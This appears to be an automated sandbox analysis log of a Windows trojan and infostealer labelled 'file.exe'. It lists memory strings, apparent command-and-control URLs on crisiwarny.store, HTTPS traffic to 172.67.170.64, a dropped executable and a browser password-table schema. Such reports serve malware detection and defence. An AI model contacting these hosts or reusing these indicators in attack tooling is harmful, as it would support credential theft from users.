Source: file.exe, 00000000.00000003.1802131784.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1795708631.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140853839.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785438684.0000000000F35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794213036.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apie
Source: file.exe, 00000000.00000003.1802131784.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1795708631.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140853839.0000000000F37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apig_
Source: file.exe, 00000000.00000003.1785536498.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apino
Source: file.exe, 00000000.00000003.1802131784.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/p
Source: file.exe, 00000000.00000003.1802131784.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/pt
Source: file.exe, 00000000.00000002.2140476340.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2137486153.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: file.exe, 00000000.00000002.2140476340.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2137486153.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api3
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.1722976796.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1722976796.00000000055FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1723038253.00000000055F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1723038253.00000000055D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1722976796.00000000055FC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1723038253.00000000055F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1723038253.00000000055D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1765836394.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1765867049.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1723200351.00000000055E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1751767745.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49737 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: section name:
Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_00F1FFF8

0_3_00F1FFF8

Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr

Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000003.1893182573.0000000005BB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1890962792.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1892683748.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1892266233.0000000005AFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1891711867.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1900181698.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889486312.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1905700974.0000000005A51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1899756621.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1900509903.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889768670.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889852525.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1892144463.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1896031859.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1898320332.0000000005C1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1897874267.0000000005A42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1900716100.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1903840263.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1905891503.0000000005B73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1890511212.0000000005AEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1897130478.0000000005B31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1896730419.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1890593630.0000000005A45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1891495599.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1896352634.0000000005B27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1906212309.0000000005A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1894176274.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2137148182.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1905503554.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1901129412.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1897748358.0000000005B23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1896216040.0000000005A4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1887506964.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1895705815.0000000005A45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889322720.00000000056A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1888318526.00000000056A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1893552113.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1896474362.0000000005A51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1904400622.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1888238555.0000000005A4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1894527848.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1906701559.0000000005B72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1906416193.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889946162.0000000005AED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1898583053.0000000005B4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1893675333.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1895369699.0000000005A4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1904619542.0000000005B67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1900908759.0000000005B54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1895267018.0000000005BF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1897253629.0000000005A45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1899014167.0000000005A42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1900040418.0000000005B56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1897011165.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1891844523.0000000005A43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1899622348.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1901320771.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2136943412.00000000055CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1898723861.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1894767379.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1906034104.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1895522317.0000000005B15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1893421197.0000000005B0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1899349792.0000000005C3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1894669811.0000000005B12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1892896728.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1898447400.0000000005A50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1888703218.00000000056A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2137246706.0000000000F3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1890683382.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1891962877.0000000005AF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1898871684.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1888141048.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1894079276.0000000005B06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1898083257.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1904213403.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1902628903.0000000005C6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889117688.0000000005A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2136903336.0000000005664000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1906554697.0000000005A43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1903629088.0000000005A50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1897642261.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1888580885.0000000005A42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1894306791.0000000005A4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1897373516.0000000005B24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1894430025.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1899189300.0000000005B37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1905174428.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1891050053.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1904076899.0000000005A50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1895887590.0000000005B1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1900364191.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1896899878.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1904899512.0000000005C90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1889405791.0000000005A45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1896590382.0000000005B2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1893329102.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1891136730.0000000005AF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1899903624.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1901827794.0000000005B55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1887506964.0000000005842000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1892396467.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1893024570.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1895059689.0000000005B1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2138376558.0000000005A42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1899481424.0000000005A45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1890304816.0000000005A49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.998046875

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/1@2/2

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\G5E9NUKC2KTUY7LAVOIZ5RDE8.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1723308507.00000000055BA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 46%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeQ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
